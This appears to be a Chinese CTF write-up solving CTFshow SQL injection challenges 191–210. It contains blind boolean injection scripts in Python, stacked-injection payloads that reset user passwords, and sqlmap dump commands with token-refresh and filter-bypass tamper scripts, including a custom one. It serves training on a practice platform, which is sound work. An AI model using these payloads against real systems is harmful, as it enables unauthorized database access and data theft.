CTFSHOW SQL注入篇(191-210)

191

把190脚本里面的ascii改成ord即可

#author:yu22x
import requests
import string
url="http://eb1ea450-7ad8-4a93-a682-4cdb5cf1adff.challenge.ctf.show/api/index.php"
s=string.ascii_letters+string.digits
flag=''
for i in range(1,45):
    print(i)
    for j in range(32,128):
        #跑库名
        # data={
    
    
        #     'username':f"'||if(ascii(substr(database(),{i},1))={j},1,0)#",
        #     'password':'1'
        # }

        #跑表名
        # data={
    
    
        #     'username':f"'||if(ascii(substr((select group_concat(table_name)from information_schema.tables where table_schema=database()),{i},1))={j},1,0)#",
        #     'password':'1'
        # }

        #跑列名
        # data={
    
    
        #     'username':f"'||if(ascii(substr((select group_concat(column_name)from information_schema.columns where table_name='ctfshow_fl0g'),{i},1))={j},1,0)#",
        #     'password':'1'
        # }
        #跑数据
        data={
    
    
            'username':f"'||if(ord(substr((select f1ag from ctfshow_fl0g),{
      
      i},1))={
      
      j},1,0)#",
            'password':'1'
        }
        r=requests.post(url,data=data)
        if("\\u5bc6\\u7801\\u9519\\u8bef" in r.text):
            flag+=chr(j)  
            print(flag)
            break

192

直接不用ord了,改成跑字符。
然后把flag里面的大写改成小写就可以了。

#author:yu22x
import requests
import string
url="http://eb1ea450-7ad8-4a93-a682-4cdb5cf1adff.challenge.ctf.show/api/index.php"
s=string.ascii_letters+string.digits
flag=''
for i in range(1,45):
    print(i)
    for j in range(32,128):

        #跑表名
        # data={
    
    
        #     'username':f"'||if((substr((select group_concat(table_name)from information_schema.tables where table_schema=database()),{i},1))='{chr(j)}',1,0)#",
        #     'password':'1'
        # }

        #跑列名
        # data={
    
    
        #     'username':f"'||if((substr((select group_concat(column_name)from information_schema.columns where table_name='ctfshow_fl0g'),{i},1))='{chr(j)}',1,0)#",
        #     'password':'1'
        # }
        #跑数据
        data={
    
    
            'username':f"'||if((substr((select f1ag from ctfshow_fl0g),{
      
      i},1))='{
      
      chr(j)}',1,0)#",
            'password':'1'
        }
        r=requests.post(url,data=data)
        if("\\u5bc6\\u7801\\u9519\\u8bef" in r.text):
            flag+=chr(j)  
            print(flag)
            break

193|194

substr改成mid

#author:yu22x
import requests
import string
url="http://eb1ea450-7ad8-4a93-a682-4cdb5cf1adff.challenge.ctf.show/api/index.php"
s=string.ascii_letters+string.digits
flag=''
for i in range(1,45):
    print(i)
    for j in range(32,128):

        #跑表名
        # data={
    
    
        #     'username':f"'||if((mid((select group_concat(table_name)from information_schema.tables where table_schema=database()),{i},1))='{chr(j)}',1,0)#",
        #     'password':'1'
        # }

        #跑列名
        # data={
    
    
        #     'username':f"'||if((mid((select group_concat(column_name)from information_schema.columns where table_name='ctfshow_fl0g'),{i},1))='{chr(j)}',1,0)#",
        #     'password':'1'
        # }
        #跑数据
        data={
    
    
            'username':f"'||if((mid((select f1ag from ctfshow_flxg),{
      
      i},1))='{
      
      chr(j)}',1,0)#",
            'password':'1'
        }
        r=requests.post(url,data=data)
        if("\\u5bc6\\u7801\\u9519\\u8bef" in r.text):
            flag+=chr(j)  
            print(flag)
            break

195

堆叠注入

1;update(ctfshow_user)set`username`=1;
1;update(ctfshow_user)set`pass`=1;

然后直接用户名1密码1登录即可得flag

196

这后台是没有过滤select的。。。。

username=0;select(1);&password=1

197|198|199|200

username=1;show tables;&password=ctfshow_user

201

 python sqlmap.py -u http://3cd2d06d-8a91-4780-9708-ca1809295579.challenge.ctf.show/api/index.php?id=1 -D ctfshow_web -T ctfshow_user -C pass --dump --batch --referer="http://3cd2d06d-8a91-4780-9708-ca1809295579.challenge.ctf.show/sqlmap.php"

202

 python sqlmap.py -u http://50301b89-83fd-49d9-9ac6-213f25f4ab5e.challenge.ctf.show/api/index.php -data="id=1" -D ctfshow_web -T ctfshow_user -C pass --dump --batch --referer="http://50301b89-83fd-49d9-9ac6-213f25f4ab5e.challenge.ctf.show/sqlmap.php"

203

python sqlmap.py -u http://54c9b877-7ef0-41d8-990a-8d9c943b276d.challenge.ctf.show/api/index.php   --method=PUT --data="id=1" -D ctfshow_web -T ctfshow_user -C pass --dump --batch --referer="http://54c9b877-7ef0-41d8-990a-8d9c943b276d.challenge.ctf.show/sqlmap.php" --headers="Content-Type: text/plain"

204

python sqlmap.py -u http://df8959d1-8273-4e84-b41a-cdca6cd8a275.challenge.ctf.show/api/index.php --method=PUT --data="id=1" -D ctfshow_web -T ctfshow_user -C pass --dump --batch --referer="ctf.show" --headers="Content-Type: text/plain" --cookie "UM_distinctid=17f1fb0285e80d-0a18fb33979691-133f685c-13c680-17f1fb0285fcbe; PHPSESSID=282tadlvbd9s4vtkst1ussku6c; ctfshow=b13c7a0b42fb63d27fc43c57ea7ac742"

205|206

--safe-url 设置在测试目标地址前访问的安全链接
--safe-freq 设置两次注入测试前访问安全链接的次数
```shell
python sqlmap.py -u http://0cbe047b-0f55-4e80-8eb2-600805d0c5ac.challenge.ctf.show/api/index.php --method=PUT --data="id=1" -D ctfshow_web -T ctfshow_flax -C flagx --dump --batch --referer="ctf.show" --headers="Content-Type: text/plain" --safe-url http://0cbe047b-0f55-4e80-8eb2-600805d0c5ac.challenge.ctf.show/api/getToken.php --safe-freq 1

206

基本和上面一样,除了表名列名不同。

python sqlmap.py -u http://9c44aaa3-d089-4bc2-80b2-d9ce5ec97dd3.challenge.ctf.show/api/index.php --method=PUT --data="id=1" -D ctfshow_web -T ctfshow_flaxc -C flagv --dump --batch --referer="ctf.show" --headers="Content-Type: text/plain" --safe-url http://9c44aaa3-d089-4bc2-80b2-d9ce5ec97dd3.challenge.ctf.show/api/getToken.php --safe-freq 1

207

增加了过滤,过滤了空格,可以直接用sqlmap中自带的tamper space2comment.py将空格替换成/**/

python sqlmap.py -u http://f007fd5a-c947-494b-9324-db1d9a9198b6.challenge.ctf.show/api/index.php --method=PUT --data="id=1" -D ctfshow_web -T ctfshow_flaxca -C flagvc --dump --batch --referer="ctf.show" --headers="Content-Type: text/plain" --safe-url http://f007fd5a-c947-494b-9324-db1d9a9198b6.challenge.ctf.show/api/getToken.php --safe-freq 1 --tamper  space2comment.py

208

和上题没什么不同,虽然过滤了小写的select,但是sqlmap都是使用的大写。

python sqlmap.py -u http://9caa8830-41c0-4d1a-910f-77a94d8ba0e3.challenge.ctf.show/api/index.php --method=PUT --data="id=1" -D ctfshow_web -T ctfshow_flaxcac -C flagvca --dump --batch --referer="ctf.show" --headers="Content-Type: text/plain" --safe-url http://9caa8830-41c0-4d1a-910f-77a94d8ba0e3.challenge.ctf.show/api/getToken.php --safe-freq 1 --tamper  space2comment.py

209

过滤了空格和*可以用%09
简单改下刚才用的space2comment.py
在这里插入图片描述

过滤了等号可以用like

equaltolike.py
将=替换为LIKE
python sqlmap.py -u http://64048efe-17d5-4e2e-8ada-9863a9a5543d.challenge.ctf.show/api/index.php --data="id=1" --refer="ctf.show" --method="PUT" --headers="Content-Type:text/plain" --safe-url="http://64048efe-17d5-4e2e-8ada-9863a9a5543d.challenge.ctf.show/api/getToken.php" --safe-freq=1 -D ctfshow_web -T ctfshow_flav -C ctfshow_flagx,id,tes --dump --batch --tamper  "space2comment,equaltolike.py"

210

  function decode($id){
    
    
    return strrev(base64_decode(strrev(base64_decode($id))));
  }

有个decode过程,所以自己写个tamper吧,写完不要忘了放到sqlmap的tamper目录下。

# new.py

from lib.core.compat import xrange
from lib.core.enums import PRIORITY
import base64
__priority__ = PRIORITY.LOW

def dependencies():
    pass

def tamper(payload, **kwargs):

    retVal = payload

    if payload:
        retVal = base64.b64encode(base64.b64encode(retVal[::-1])[::-1])

    return retVal

就按照现有的格式改下就好了。

python sqlmap.py -u http://e89bbc64-fe4e-4e5c-a5c5-b590be33814a.challenge.ctf.show/api/index.php --data="id=1" --refer="ctf.show" --method="PUT" --headers="Content-Type:text/plain" --safe-url="http://e89bbc64-fe4e-4e5c-a5c5-b590be33814a.challenge.ctf.show/api/getToken.php" --safe-freq=1 -D ctfshow_web -T ctfshow_flavi -C ctfshow_flagxx,id,tes --dump --batch --tamper new.py

猜你喜欢

转载自blog.csdn.net/miuzzx/article/details/125164207
今日推荐